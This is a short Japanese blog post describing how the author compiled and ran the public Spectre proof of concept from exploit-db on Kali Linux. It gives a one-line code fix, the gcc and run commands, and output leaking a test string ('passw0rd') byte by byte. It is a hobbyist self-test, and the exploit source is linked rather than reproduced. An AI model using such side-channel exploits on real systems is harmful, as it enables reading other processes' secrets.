Yabu.log

色々勉強するブログです。

SpectreのPoCの動かし方

世間を賑わしているGoogle Zero Projectが発見したCPUに関する2つのバグ、meltdownとspectreですが、 spectreのpocが公開されていたので手持ちのKali Linuxで動かしてみました。

www.exploit-db.com

char *secret = "The Magic Words are Squeamish Ossifrage.";

この文字の内容が不正にアクセスされてしまうデータです 適当に自分の名前などに置き換えてやって見ましょう。(私はpassw0rdで試しました)

また125行目のシングルクォートは環境によってはうまく動かない原因になるのでダブルクォートに置き換えましょう。

(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);

(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);

適当な名前をつけてコンパイルして

gcc <適当な名前>.c

実行します

./a.out

結果

Reading at malicious_x = 0xffffffffffdfed68... Unclear: 0x70=’p’ score=972 (second best: 0x01 score=750)
Reading at malicious_x = 0xffffffffffdfed69... Unclear: 0x61=’a’ score=992 (second best: 0x01 score=725)
Reading at malicious_x = 0xffffffffffdfed6a... Unclear: 0x73=’s’ score=989 (second best: 0x00 score=604)
Reading at malicious_x = 0xffffffffffdfed6b... Success: 0x73=’s’ score=23 (second best: 0x00 score=9)
Reading at malicious_x = 0xffffffffffdfed6c... Success: 0x77=’w’ score=37 (second best: 0x01 score=16)
Reading at malicious_x = 0xffffffffffdfed6d... Success: 0x30=’0’ score=37 (second best: 0x01 score=16)
Reading at malicious_x = 0xffffffffffdfed6e... Success: 0x72=’r’ score=55 (second best: 0x00 score=25)
Reading at malicious_x = 0xffffffffffdfed6f... Success: 0x64=’d’ score=225 (second best: 0x00 score=110)
以下略

C言語は触ったことがあ流ので100行くらいのコードなら読めるかも、と思いましたが、全然わからないのでやめました。 解説はこちらの記事が詳しいです

qiita.com